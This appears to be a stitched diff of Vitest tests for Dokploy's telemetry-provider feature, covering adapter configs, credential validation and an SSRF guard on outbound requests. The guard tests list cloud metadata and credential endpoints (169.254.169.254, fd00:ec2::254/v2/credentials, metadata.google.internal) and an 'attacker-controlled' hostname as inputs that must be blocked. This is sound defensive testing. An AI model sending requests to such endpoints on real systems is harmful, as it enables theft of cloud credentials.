expect(mocks.deleteWhere).toHaveBeenCalled();
});
});
@@ -0,0 +1,220 @@
import { createServer, type Server } from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
lookup: vi.fn(),
}));
vi.mock("node:dns", () => ({
lookup: mocks.lookup,
}));
const loadModule = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
return await import(
"@dokploy/server/services/logs-and-metrics/provider-fetch"
);
};
const loadFetch = async (isCloud: boolean) =>
(await loadModule(isCloud)).providerFetch;
const resolvesTo = (...addresses: string[]) =>
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(
null,
addresses.map((address) => ({
address,
family: address.includes(":") ? 6 : 4,
})),
),
);
describe("providerFetch — blocked endpoint guard", () => {
const originalFetch = global.fetch;
beforeEach(() => {
mocks.lookup.mockReset();
global.fetch = vi.fn().mockResolvedValue(new Response("ok"));
});
afterEach(() => {
global.fetch = originalFetch;
});
it("rejects a literal AWS/GCP/Azure metadata IP without ever calling fetch", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://169.254.169.254/latest/meta-data/"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects the metadata IP written as an IPv4-mapped IPv6 address", async () => {
const providerFetch = await loadFetch(false);
for (const address of ["[::ffff:169.254.169.254]", "[::ffff:a9fe:a9fe]"]) {
await expect(
providerFetch(`http://${address}/latest/meta-data/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects the AWS ECS metadata IPv6 address", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://[fd00:ec2::254]/v2/credentials"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects every fe80::/10 link-local address, not just literal fe80: ones", async () => {
const providerFetch = await loadFetch(false);
for (const address of [
"[fe80::1]",
"[fe90::1]",
"[fea0::1]",
"[febf::1]",
]) {
await expect(
providerFetch(`http://${address}/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not block a hostname just because it starts like a link-local prefix", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://feature-logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledTimes(1);
});
it("rejects the GCP metadata hostname without needing DNS resolution", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://metadata.google.internal/computeMetadata/v1/"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects loopback and private-network endpoints in cloud", async () => {
const providerFetch = await loadFetch(true);
for (const url of [
"http://10.0.0.5:3100/ready",
"http://127.0.0.1:3100/ready",
"http://localhost:3100/ready",
"http://[::1]:3100/ready",
"http://0.0.0.0:3100/ready",
"http://100.100.100.200/latest/meta-data/",
"http://[::]:3100/ready",
]) {
await expect(
providerFetch(url),
`expected ${url} to be rejected`,
).rejects.toThrow(/blocked/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not follow redirects", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledWith(
"https://logs.example.com/ready",
expect.objectContaining({ redirect: "error" }),
);
});
});
describe("providerFetch — address checked at connect time", () => {
let server: Server;
let port: number;
let hostHeader: string | undefined;
beforeEach(async () => {
mocks.lookup.mockReset();
hostHeader = undefined;
server = createServer((req, res) => {
hostHeader = req.headers.host;
res.end("ok");
});
await new Promise<void>((resolve) =>
server.listen(0, "127.0.0.1", resolve),
);
port = (server.address() as AddressInfo).port;
});
afterEach(async () => {
await new Promise((resolve) => server.close(resolve));
});
it("rejects a hostname whose lookup returns a metadata address", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("203.0.113.10", "169.254.169.254");
await expect(
providerFetch("http://attacker-controlled.example.com/"),
).rejects.toThrow(/metadata/i);
expect(mocks.lookup).toHaveBeenCalledWith(
"attacker-controlled.example.com",
expect.anything(),
expect.any(Function),
);
});
it("rejects a hostname resolving to a private address in cloud", async () => {
const providerFetch = await loadFetch(true);
resolvesTo("127.0.0.1");
await expect(
providerFetch(`http://loki.internal.example.com:${port}/ready`),
).rejects.toThrow(/blocked/i);
expect(hostHeader).toBeUndefined();
});
it("rejects when DNS resolution fails", async () => {
const providerFetch = await loadFetch(false);
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(Object.assign(new Error("ENOTFOUND"), { code: "ENOTFOUND" })),
);
await expect(
providerFetch("http://does-not-exist.invalid/"),
).rejects.toThrow();
expect(hostHeader).toBeUndefined();
});
it("connects to the address it validated, keeping the original Host header (self-hosted private endpoint)", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("127.0.0.1");
const response = await providerFetch(
`http://loki.internal.example.com:${port}/ready`,
);
expect(await response.text()).toBe("ok");
expect(hostHeader).toBe(`loki.internal.example.com:${port}`);
});
it("passes a public address through in cloud", async () => {
const { guardedLookup } = await loadModule(true);
resolvesTo("203.0.113.10");
const result = await new Promise((resolve, reject) =>
guardedLookup("api.datadoghq.com", { all: true }, (error, addresses) =>
error ? reject(error) : resolve(addresses),
),
);
expect(result).toEqual([{ address: "203.0.113.10", family: 4 }]);
});
});
@@ -0,0 +1,16 @@
import { describe, expect, it } from "vitest";
import { providerLabel } from "@/components/dashboard/settings/logs-and-metrics/show-servers";
describe("providerLabel", () => {
it("names what the provider sends next to its name", () => {
expect(providerLabel({ name: "Loki prod", signals: ["logs"] })).toBe(
"Loki prod (logs)",
);
expect(providerLabel({ name: "Splunk", signals: ["metrics"] })).toBe(
"Splunk (metrics)",
);
expect(
providerLabel({ name: "Datadog", signals: ["logs", "metrics"] }),
).toBe("Datadog (logs and metrics)");
});
});
@@ -0,0 +1,101 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
deleted: [] as unknown[],
updates: [] as Array<{ table: unknown; values: Record<string, unknown> }>,
updatedServers: [] as Array<{ serverId: string }>,
updatedLocal: [] as Array<{ id: string }>,
queried: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => {
const tx = {
delete: () => ({
where: () => ({
returning: () => Promise.resolve(mocks.deleted),
}),
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: () => ({
returning: () => {
mocks.updates.push({ table, values });
return Promise.resolve(
mocks.updates.length === 1
? mocks.updatedServers
: mocks.updatedLocal,
);
},
}),
}),
}),
};
return {
db: {
transaction: (fn: (tx: unknown) => unknown) => fn(tx),
query: {
server: { findMany: mocks.queried },
webServerSettings: { findFirst: mocks.queried },
},
},
};
});
const { server, webServerSettings } = await import("@dokploy/server/db/schema");
const { removeTelemetryProvider } = await import(
"@dokploy/server/services/logs-and-metrics/service"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
describe("removeTelemetryProvider", () => {
beforeEach(() => {
mocks.updates = [];
mocks.updatedServers = [{ serverId: "server-1" }];
mocks.updatedLocal = [{ id: "ws-1" }];
mocks.queried.mockReset();
});
it("drops the provider id from the selection of every server and of the local host", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
const { provider, targets } = await removeTelemetryProvider("lp-1");
expect(provider).toEqual({ telemetryProviderId: "lp-1" });
expect(targets).toEqual(["server-1", null]);
expect(mocks.updates.map((u) => u.table)).toEqual([
server,
webServerSettings,
]);
expect(render(mocks.updates[0]?.values.telemetryProviderIds)).toBe(
'array_remove("server"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.telemetryProviderIds)).toBe(
'array_remove("webServerSettings"."telemetryProviderIds", $1)',
);
expect(render(mocks.updates[1]?.values.vectorAgentOrganizationId)).toBe(
'CASE WHEN cardinality(array_remove("webServerSettings"."telemetryProviderIds", $1)) = 0 THEN NULL ELSE "webServerSettings"."vectorAgentOrganizationId" END',
);
});
it("reconciles exactly the hosts whose selection the transaction updated", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
mocks.updatedServers = [{ serverId: "server-1" }, { serverId: "server-2" }];
mocks.updatedLocal = [];
const { targets } = await removeTelemetryProvider("lp-1");
expect(targets).toEqual(["server-1", "server-2"]);
expect(mocks.queried).not.toHaveBeenCalled();
});
it("does not touch assignments when the provider does not exist", async () => {
mocks.deleted = [];
await expect(removeTelemetryProvider("missing")).rejects.toMatchObject({
code: "NOT_FOUND",
});
expect(mocks.updates).toEqual([]);
});
});
@@ -0,0 +1,392 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { describe, expect, it } from "vitest";
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["logs"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
describe("getTelemetryProviderAdapter", () => {
it("returns the registered adapter for each known type", () => {
expect(getTelemetryProviderAdapter("loki").type).toBe("loki");
expect(getTelemetryProviderAdapter("datadog").type).toBe("datadog");
expect(getTelemetryProviderAdapter("betterstack").type).toBe("betterstack");
expect(getTelemetryProviderAdapter("elasticsearch").type).toBe(
"elasticsearch",
);
expect(getTelemetryProviderAdapter("splunk_hec").type).toBe("splunk_hec");
expect(getTelemetryProviderAdapter("aws_cloudwatch").type).toBe(
"aws_cloudwatch",
);
});
it("throws an explicit error for an unregistered type", () => {
// @ts-expect-error: intentionally an unregistered type
expect(() => getTelemetryProviderAdapter("unknown")).toThrow(
/No TelemetryProviderAdapter registered/,
);
});
});
describe("lokiAdapter.toVectorSink", () => {
it("maps endpoint + labels, without tenant_id if not set", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://loki.example.com" },
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("loki");
expect(sink.inputs).toEqual(["dokploy_scope"]);
expect(sink.endpoint).toBe("https://loki.example.com");
expect(sink.labels).toMatchObject({
dokploy_project: "{{ dokploy_project }}",
dokploy_environment: "{{ dokploy_environment }}",
dokploy_application: "{{ dokploy_application }}",
dokploy_organization: "{{ dokploy_organization }}",
dokploy_server: "{{ dokploy_server }}",
});
expect(sink.tenant_id).toBeUndefined();
expect(sink.buffer).toEqual({
type: "disk",
max_size: 268_435_488,
when_full: "block",
});
});
it("includes tenant_id when present in extraConfig", () => {
const adapter = telemetryProviderAdapters.loki;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://loki.example.com",
extraConfig: { tenantId: "tenant-a" },
},
"sink_1",
"dokploy_scope",
"logs",
);
expect(sink.tenant_id).toBe("tenant-a");
});
it("has no toVectorTransform — goes directly scope -> sink", () => {
expect(telemetryProviderAdapters.loki.toVectorTransform).toBeUndefined();
});
});
describe("datadogAdapter.toVectorSink", () => {
it("defaults site to datadoghq.com and sets no `tags` field (datadog_logs has none)", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{ ...baseConfig, apiKey: "dd-key" },
"sink_2",
"transform_2",
"logs",
);
expect(sink.type).toBe("datadog_logs");
expect(sink.default_api_key).toBe("dd-key");
expect(sink.site).toBe("datadoghq.com");
expect(sink.tags).toBeUndefined();
expect(sink.inputs).toEqual(["transform_2"]);
});
it("uses extraConfig.site when present", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "datadoghq.eu" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("strips a pasted scheme/trailing slash from extraConfig.site instead of interpolating it as-is", () => {
const adapter = telemetryProviderAdapters.datadog;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "dd-key",
extraConfig: { site: "https://datadoghq.eu/" },
},
"sink_2",
"transform_2",
"logs",
);
expect(sink.site).toBe("datadoghq.eu");
});
it("builds .ddtags from the scoping fields in toVectorTransform, since datadog_logs has no `tags` option (vector generate-schema)", () => {
const adapter = telemetryProviderAdapters.datadog;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain(".ddtags");
expect(transform?.source).toContain(
'"dokploy_server:" + replace(to_string!(.dokploy_server), ",", "_")',
);
});
it("escapes commas in scoping field values before building .ddtags, since ddtags is itself comma delimited", () => {
const adapter = telemetryProviderAdapters.datadog;
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_2",
"dokploy_scope",
"logs",
);
expect(transform?.source).toContain(
'replace(to_string!(.dokploy_project), ",", "_")',
);
});
});
describe("betterStackAdapter", () => {
it("toVectorTransform renames timestamp to dt, inputs point to scope transform", () => {
const adapter = telemetryProviderAdapters.betterstack;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
);
expect(transform).toEqual({
type: "remap",
inputs: ["dokploy_scope"],
source: ".dt = del(.timestamp)",
});
});
it("toVectorSink builds a generic http sink with bearer auth, reading from the transform id", () => {
const adapter = telemetryProviderAdapters.betterstack;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://in.logs.betterstack.com",
apiKey: "source-token",
},
"sink_3",
"transform_1",
"logs",
);
expect(sink.type).toBe("http");
expect(sink.inputs).toEqual(["transform_1"]);
expect(sink.uri).toBe("https://in.logs.betterstack.com/");
expect(sink.auth).toEqual({ strategy: "bearer", token: "source-token" });
expect(sink.compression).toBe("gzip");
});
});
describe("elasticsearchAdapter", () => {
it("has a toVectorTransform that flattens .label to a JSON string", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(adapter.toVectorTransform).toBeDefined();
const transform = adapter.toVectorTransform?.(
baseConfig,
"transform_4",
"dokploy_scope",
"logs",
);
expect(transform?.type).toBe("remap");
expect(transform?.inputs).toEqual(["dokploy_scope"]);
expect(transform?.source).toContain("encode_json(.label)");
});
it("uses basic auth when a username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "secret",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("elasticsearch");
expect(sink.endpoints).toEqual(["https://es.example.com:9200"]);
expect(sink.auth).toEqual({
strategy: "basic",
user: "elastic",
password: "secret",
});
expect(sink.request).toBeUndefined();
});
it("falls back to an ApiKey header when no username is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
apiKey: "key-123",
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(sink.auth).toBeUndefined();
expect(sink.request).toEqual({
headers: { Authorization: "ApiKey key-123" },
});
});
it("rejects a username set without a password instead of silently shipping unauthenticated", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
expect(() =>
adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
},
"sink_4",
"dokploy_scope",
"logs",
),
).toThrow(/Password.*required/i);
});
it("includes bulk.index only when extraConfig.index is set", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const withoutIndex = adapter.toVectorSink(
{ ...baseConfig, endpoint: "https://es.example.com:9200" },
"sink_4",
"dokploy_scope",
"logs",
);
expect(withoutIndex.bulk).toBeUndefined();
const withIndex = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://es.example.com:9200",
extraConfig: { index: "dokploy-%Y.%m.%d" },
},
"sink_4",
"dokploy_scope",
"logs",
);
expect(withIndex.bulk).toEqual({ index: "dokploy-%Y.%m.%d" });
});
});
describe("splunkAdapter", () => {
it("has no toVectorTransform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.splunk_hec.toVectorTransform,
).toBeUndefined();
});
it("toVectorSink maps endpoint/token, only sets index/sourcetype when present", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const sink = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("splunk_hec_logs");
expect(sink.endpoint).toBe("https://splunk.example.com:8088");
expect(sink.default_token).toBe("hec-token");
expect(sink.encoding).toEqual({ codec: "json" });
expect(sink.index).toBeUndefined();
expect(sink.sourcetype).toBeUndefined();
const withExtras = adapter.toVectorSink(
{
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec-token",
extraConfig: { index: "dokploy", sourcetype: "docker" },
},
"sink_5",
"dokploy_scope",
"logs",
);
expect(withExtras.index).toBe("dokploy");
expect(withExtras.sourcetype).toBe("docker");
});
});
describe("awsCloudwatchAdapter", () => {
it("has no logs transform — scoping fields ride along as plain JSON fields", () => {
expect(
telemetryProviderAdapters.aws_cloudwatch.toVectorTransform?.(
baseConfig,
"transform_1",
"dokploy_scope",
"logs",
),
).toBeNull();
});
it("toVectorSink maps access key/secret, region and log group/stream", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.type).toBe("aws_cloudwatch_logs");
expect(sink.group_name).toBe("/dokploy/logs");
expect(sink.stream_name).toBe("{{ container_name }}");
expect(sink.region).toBe("us-east-1");
expect(sink.auth).toEqual({
access_key_id: "AKIA...",
secret_access_key: "shh",
});
});
it("uses extraConfig.logStream as the stream template when set", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const sink = adapter.toVectorSink(
{
...baseConfig,
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
logStream: "{{ dokploy_application }}",
},
},
"sink_6",
"dokploy_scope",
"logs",
);
expect(sink.stream_name).toBe("{{ dokploy_application }}");
});
});
@@ -0,0 +1,661 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
insertValues: vi.fn(),
updateSet: vi.fn(),
findFirst: vi.fn(),
findMany: vi.fn(),
serverFindFirst: vi.fn(),
serverFindMany: vi.fn(),
webServerFindFirst: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
insert: () => ({
values: (v: any) => ({
returning: () => Promise.resolve(mocks.insertValues(v)),
}),
}),
update: () => ({
set: (v: any) => ({
where: () => ({
returning: () => Promise.resolve(mocks.updateSet(v)),
}),
}),
}),
query: {
telemetryProvider: {
findFirst: mocks.findFirst,
findMany: mocks.findMany,
},
server: {
findFirst: mocks.serverFindFirst,
findMany: mocks.serverFindMany,
},
webServerSettings: { findFirst: mocks.webServerFindFirst },
},
},
}));
const {
assertProvidersBelongToOrg,
assertSignalsSupported,
createTelemetryProvider,
testTelemetryProviderConnection,
updateTelemetryProvider,
} = await import("@dokploy/server/services/logs-and-metrics/service");
const { telemetryProviderAdapters } = await import(
"@dokploy/server/services/logs-and-metrics/providers/registry"
);
beforeEach(() => {
mocks.serverFindMany.mockResolvedValue([]);
mocks.webServerFindFirst.mockResolvedValue(undefined);
});
describe("updateTelemetryProvider — targets to re-apply", () => {
const existing = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old",
apiSecret: null,
extraConfig: null,
enabled: true,
};
beforeEach(() => {
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, apiKey: "new" }]);
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
});
it("returns the servers and the local host that ship with it when a credential changes", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
apiKey: "new",
});
expect(targets).toEqual(["server-1", null]);
});
it("returns the same targets when the provider is disabled", async () => {
const { targets } = await updateTelemetryProvider("lp-1", {
enabled: false,
});
expect(targets).toEqual(["server-1", null]);
});
it("returns no targets when only the name changes or a value is re-sent unchanged", async () => {
expect(
(await updateTelemetryProvider("lp-1", { name: "renamed" })).targets,
).toEqual([]);
expect(
(
await updateTelemetryProvider("lp-1", {
endpoint: "https://loki.example.com",
})
).targets,
).toEqual([]);
});
});
describe("createTelemetryProvider — required credential fields per adapter", () => {
it("rejects a loki provider without endpoint", async () => {
await expect(
createTelemetryProvider(
{ name: "loki-prod", providerType: "loki", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow(/endpoint/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider without apiKey", async () => {
await expect(
createTelemetryProvider(
{ name: "dd", providerType: "datadog", signals: ["logs"] } as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a betterstack provider missing either field", async () => {
await expect(
createTelemetryProvider(
{
name: "bs",
providerType: "betterstack",
signals: ["logs"],
apiKey: "token-only",
} as any,
"org-1",
),
).rejects.toThrow();
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a splunk_hec provider without a HEC token", async () => {
await expect(
createTelemetryProvider(
{
name: "splunk",
providerType: "splunk_hec",
signals: ["logs"],
endpoint: "https://splunk.example.com:8088",
} as any,
"org-1",
),
).rejects.toThrow(/token/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an aws_cloudwatch provider missing required extraConfig fields (region/log group)", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
} as any,
"org-1",
),
).rejects.toThrow(/region|log group/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects a datadog provider whose apiKey only exists inside extraConfig, not the real column", async () => {
await expect(
createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["logs"],
extraConfig: { apiKey: "sneaky-value" },
} as any,
"org-1",
),
).rejects.toThrow(/api key/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("rejects an elasticsearch provider with a username but no password (adapter.validateConfig)", async () => {
await expect(
createTelemetryProvider(
{
name: "es",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
} as any,
"org-1",
),
).rejects.toThrow(/password.*required/i);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
it("accepts an aws_cloudwatch provider with region and log group set via extraConfig", async () => {
mocks.insertValues.mockReturnValue([
{
telemetryProviderId: "lp-2",
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
},
]);
const created = await createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA...",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-2");
});
it("accepts a loki provider with endpoint", async () => {
mocks.insertValues.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "loki-prod", providerType: "loki" },
]);
const created = await createTelemetryProvider(
{
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
);
expect(created.telemetryProviderId).toBe("lp-1");
expect(mocks.insertValues).toHaveBeenCalled();
});
});
describe("updateTelemetryProvider — merges partial update with existing row before validating", () => {
it("allows updating just the name without re-sending existing credentials", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "old-name",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([
{ telemetryProviderId: "lp-1", name: "new-name" },
]);
const { provider: updated, targets } = await updateTelemetryProvider(
"lp-1",
{ name: "new-name" },
);
expect(updated.name).toBe("new-name");
expect(targets).toEqual([]);
});
it("rejects clearing the only required field via update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { endpoint: null }),
).rejects.toThrow(/endpoint/i);
});
it("clears the old provider's credentials when providerType changes, unless new values are given", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: { site: "datadoghq.com" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: null,
apiSecret: null,
extraConfig: null,
}),
);
});
it("merges a partial extraConfig update instead of replacing it wholesale", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "secret",
apiSecret: null,
extraConfig: { username: "elastic", index: "custom-index" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", {
extraConfig: { username: "new-user" },
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({
extraConfig: { username: "new-user", index: "custom-index" },
}),
);
});
it("clears extraConfig entirely when explicitly set to null, instead of merging", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: null,
apiSecret: null,
extraConfig: { username: "elastic" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { extraConfig: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ extraConfig: null }),
);
});
it("clears an optional credential when it is explicitly set to null", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "loki-prod",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "old-token",
apiSecret: null,
extraConfig: { username: "user" },
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "lp-1" }]);
await updateTelemetryProvider("lp-1", { apiKey: null });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ apiKey: null }),
);
});
it("rejects clearing the elasticsearch password while a username stays saved", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "es-prod",
providerType: "elasticsearch",
signals: ["logs"],
endpoint: "https://es.example.com:9200",
apiKey: "old-password",
apiSecret: null,
extraConfig: { username: "elastic" },
});
await expect(
updateTelemetryProvider("lp-1", { apiKey: null }),
).rejects.toThrow(/Password/);
});
it("rejects a providerType change that doesn't satisfy the new type's required fields", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "lp-1",
name: "dd-prod",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "old-datadog-key",
apiSecret: null,
extraConfig: null,
});
await expect(
updateTelemetryProvider("lp-1", { providerType: "loki" }),
).rejects.toThrow(/endpoint/i);
});
});
describe("assertSignalsSupported", () => {
it("rejects a repeated signal", () => {
expect(() => assertSignalsSupported("loki", ["logs", "logs"])).toThrow(
/only be selected once/,
);
});
it("rejects a signal the type cannot send", () => {
expect(() => assertSignalsSupported("loki", ["metrics"])).toThrow(
/Grafana Loki cannot send metrics/,
);
});
it("accepts a supported subset", () => {
expect(() => assertSignalsSupported("loki", ["logs"])).not.toThrow();
});
});
describe("createTelemetryProvider — signals", () => {
it("rejects a provider whose type cannot send the selected signal", async () => {
mocks.insertValues.mockClear();
await expect(
createTelemetryProvider(
{
name: "loki",
providerType: "loki",
signals: ["metrics"],
endpoint: "https://loki.example.com",
} as any,
"org-1",
),
).rejects.toThrow(/cannot send metrics/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("assertProvidersBelongToOrg", () => {
beforeEach(() => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: true,
signals: ["logs"],
},
]);
});
it("accepts a provider of the organization regardless of what it sends", async () => {
await expect(
assertProvidersBelongToOrg(["lp-1"], "org-1"),
).resolves.toBeUndefined();
});
it("rejects an id that is not in the organization", async () => {
await expect(
assertProvidersBelongToOrg(["lp-9"], "org-1"),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
});
it("rejects a selection where every provider is disabled", async () => {
mocks.findMany.mockResolvedValue([
{
telemetryProviderId: "lp-1",
name: "loki",
enabled: false,
signals: ["logs"],
},
]);
await expect(assertProvidersBelongToOrg(["lp-1"], "org-1")).rejects.toThrow(
/at least one enabled provider/,
);
});
});
describe("required fields scoped to a signal", () => {
beforeEach(() => {
mocks.insertValues.mockReset();
